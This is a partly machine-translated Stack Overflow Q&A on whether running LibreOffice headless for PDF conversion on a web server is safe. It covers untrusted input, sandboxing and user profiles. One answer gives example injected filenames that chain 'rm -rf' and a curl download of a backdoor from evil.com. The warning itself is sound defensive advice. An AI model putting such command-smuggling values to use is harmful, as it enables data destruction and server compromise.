在 Web 服务器上使用 LibreOffice(无头)安全吗?

Is LibreOffice (headless) safe to use on a web server?

我有 my-template.docx,我使用 OpenXml 将其转换为 my-report.docx,然后 my-report.pdf 使用:

soffice --headless --convert-to pdf my-report.docx

我不得不说非常感谢此功能。无论如何,我无法找到 here (cli documentation) or here (comparison with MS Office) or my other post 答案的一件事是 LibreOffice 是否可以安全地实现自动化。

请参阅 Microsoft 的 this post,它表示不要将 Word 用于服务器端自动化。这就引出了 LibreOffice 对于服务器端自动化是否安全的问题?基本上,只要收到报告请求,我就会使用 C# 运行 soffice --headless --convert-to pdf my-report.docx

这样安全吗?

*假设没有其他人试图阅读我的-report.docx

只要您控制输入文件的内容,就完全没有问题。请记住,LibreOffice 只允许每个用户配置文件有一个活动实例,因此如果您希望能够并行处理多个文档,您应该使用单独的用户配置文件。

如果您有不受信任的输入数据,那么整个问题的回答就会变得更加复杂。虽然已经有相当多的工作来保护代码库,但桌面办公套件仍然是一个巨大的软件,有很多潜在的攻击面(宏、远程数据连接、旧的二进制文件格式,...)。虽然所有这些功能都应该在无头操作中被阻止,但您必须相信没有未发现的错误。

Microsoft 文章中的其余要点不适用于 LibreOffice。 headless 模式旨在不与桌面环境交互,除了用户配置文件外,不会更改系统中的任何内容或依赖于任何与桌面相关的部分。默认构建仍将依赖于某些 GUI 库,但如果这实际上成为一个问题,则有一个实验性构建选项可以构建一个没有任何 X/GTK/KDE 库依赖性的非 GUI 版本。

作为替代方案,还有一些构建在 LibreOffice 之上的项目试图通过预分叉或使用 LibreOfficeKit API 使文档转换更加容易并且实际上可能更快。两个例子是 JODConverter or unoconv.

Moggi 的回答非常好。我唯一可以添加的是:

  1. 您可以考虑通过 运行 某种沙箱(例如 Docker)中的 libreoffice (soffice) 实例来提高安全性。这意味着如果发生流氓行为,沙盒可以限制潜在的损害,
  2. 如果您的站点忙于生成 PDF,则每次启动该过程可能会产生开销。如果发生这种情况,使用一层(如 JODConverter)可以启动一次使用多次。

希望对您有所帮助。

I have my-template.docx that I convert into my-report.docx with OpenXml and then my-report.pdf with:

soffice --headless --convert-to pdf my-report.docx

TL;DR 在你的情况下,它是。

您几乎可以肯定正在做的是替换 DOCX 中的一些信息并使用 LibreOffice 将 "nice" 转换为 PDF。虽然还有其他工具可能会做类似的事情(例如 wkhtmltopdf),但您并没有以我所知道的任何易受攻击的方式使用 LibreOffice(我也像您一样使用 LibreOffice):

  • 源文档在您的控制之下(没有用户输入的宏、远程文件包含、远程数据源或其他恶作剧)
  • 您注入 DOCX 的值也在您的控制之下——或者是吗? - 并且不包含可能进入 PDF 的用户输入,例如 HREF 目标。
  • 无头模式下的 LibreOffice 不会公开任何可能被第三方进程利用的开放端口或接口。

可能但不太可能 "exploit" 可能保留的途径:

  • 目标文件。我希望即使您向用户询问结果文件的名称,您仍然会做一些事情,比如创建一个唯一的 pdf 文件名,并将用户名发送为 Content-Disposition: attachment; filename="thatswhatshesaid";not 在您的文件系统上使用用户的文件名并冒着将数据保存到 byebye.pdf && rm -rf ...(或 irrelevant.pdf\x00; curl -o index2.php http://evil.com/backdoor.php 或...)的风险,发回 Location: downloads/whatshesaid.pdf.
  • XML 输出中的非常大的值可能会触发异常行为。发生这种情况的可能性以及以任何有意义的(对攻击者而言)方式这样做的可能性可以忽略不计,但是检查仍然没有错。